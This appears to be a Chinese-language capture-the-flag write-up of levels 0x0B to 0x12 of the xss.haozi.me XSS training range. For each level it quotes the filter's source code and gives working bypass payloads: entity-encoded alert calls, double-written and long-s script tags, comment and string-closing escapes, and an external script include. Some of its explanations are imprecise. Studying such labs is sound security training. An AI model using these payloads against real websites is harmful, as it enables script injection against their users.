xss.haozi.me靶场“0x0B-0x12”关卡:从实体编码到闭合逃逸的实战解析

xss.haozi.me靶场“0x0B-0x12”关卡:从实体编码到闭合逃逸的实战解析

1. 实体编码绕过的艺术:0x0B关卡实战

在xss.haozi.me靶场的0x0B关卡中,我们遇到了第一个有趣的挑战——大小写敏感性问题。当我第一次尝试用常规的<script>alert(1)</script>进行测试时,发现所有字符都被转换成了大写。查看源码后发现关键逻辑:

function render(input) { input = input.toUpperCase() return `<h1>${input}</h1>` }

这里有个重要知识点:HTML标签不区分大小写,但JavaScript代码是严格区分大小写的。当alert(1)被转换成ALERT(1)时,浏览器会报错说"ALERT is not defined"。我尝试了三种有效绕过方式:

第一种是使用HTML实体编码。通过将字母转换为十六进制实体编码,可以绕过大小写转换:

</h1><img src="" onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

第二种是组合使用SVG和Script标签:

</h1><svg><script>&#x61;&#x6c;&#x65;&#x72;&#x74;(1)</script>

第三种更巧妙,利用域名不区分大小写的特性:

<script src=https://www.segmentfault.com.haozi.me/j.js></script>

2. script标签的双写魔术:0x0C关卡突破

0x0C关卡在0x0B基础上增加了script过滤,源码如下:

function render(input) { input = input.replace(/script/ig, '') input = input.toUpperCase() return '<h1>' + input + '</h1>' }

这里采用了正则表达式/script/ig进行全局不区分大小写的替换。我尝试了经典的"双写绕过"技术:

<scripscriptt src="https://www.segmentfault.com.haozi.me/j.js"></scripscriptt>

当过滤器删除中间的"script"后,剩下的字符正好能重新组合成完整的script标签。此外,还可以完全避开script标签,使用img的onerror事件:

</h1><img src="" onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

3. 注释逃逸的奇技淫巧:0x0D关卡解密

0x0D关卡将用户输入放入了JavaScript注释中:

function render(input) { input = input.replace(/[</"']/g, '') return ` <script> // alert('${input}') </script> ` }

这里的关键是要"逃逸"出注释范围。我通过插入换行符破坏注释结构,再用-->注释掉后续内容:

alert(1) -->

这个payload之所以有效,是因为JavaScript中的单行注释(//)遇到换行符就会终止,而-->在特定位置会被当作注释符号。

4. ſ符号的妙用:0x0E关卡的特殊绕过

0x0E关卡采用了更复杂的过滤:

function render(input) { input = input.replace(/<([a-zA-Z])/g, '<_$1') input = input.toUpperCase() return '<h1>' + input + '</h1>' }

这个过滤器会在标签名的第一个字母前插入下划线。我发现了Unicode字符中的"长s"(ſ)可以完美绕过:

<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>

ſ在视觉上很像小写的s,但它的Unicode码点是U+017F,不会被识别为常规的s字符。当过滤器处理时,不会在它前面插入下划线,而浏览器却能正确解析为script标签。

5. 编码解码的博弈:0x0F关卡深度剖析

0x0F关卡实现了全面的HTML实体编码:

function render(input) { function escapeHtml(s) { return s.replace(/&/g, '&amp;') .replace(/'/g, '&#39;') .replace(/"/g, '&quot;') .replace(/</g, '&lt;') .replace(/>/g, '&gt;') .replace(/\//g, '&#x2f;') } return `<img src onerror="console.error('${escapeHtml(input)}')">` }

这里的关键洞察是:HTML解析器会先解码实体编码再执行JavaScript。因此可以构造特殊payload:

'); alert(1); //

这个payload先闭合前面的字符串,然后执行我们的代码,最后注释掉剩余部分。也可以利用字符串拼接:

'); alert('1

6. JavaScript上下文的直接注入:0x10-0x12关卡

0x10关卡相对简单,直接将用户输入放入JavaScript上下文:

function render(input) { return ` <script> window.data = ${input} </script> ` }

可以直接注入JavaScript代码:

alert(1)

0x11和0x12关卡则展示了更复杂的JavaScript上下文注入。以0x11为例:

function render(s) { function escapeJs(s) { return String(s) .replace(/\\/g, '\\\\') .replace(/'/g, '\\\'') .replace(/"/g, '\\"') .replace(/`/g, '\\`') .replace(/</g, '\\74') .replace(/>/g, '\\76') .replace(/\//g, '\\/') .replace(/\n/g, '\\n') .replace(/\r/g, '\\r') .replace(/\t/g, '\\t') .replace(/\f/g, '\\f') .replace(/\v/g, '\\v') .replace(/\0/g, '\\0') } s = escapeJs(s) return ` <script> var url = 'javascript:console.log("${s}")' var a = document.createElement('a') a.href = url document.body.appendChild(a) a.click() </script> ` }

绕过这种严格过滤的关键是理解转义后的字符如何被重新解析。有效payload:

");alert(1);//

0x12关卡类似,但只过滤了双引号:

function escape(s) { s = s.replace(/"/g, '\\"') return '<script>console.log("' + s + '");</script>' }

可以通过转义反斜杠本身来绕过:

\");alert(1);//

这个payload中,第一个反斜杠转义了过滤器添加的反斜杠,使得后面的双引号能够成功闭合字符串。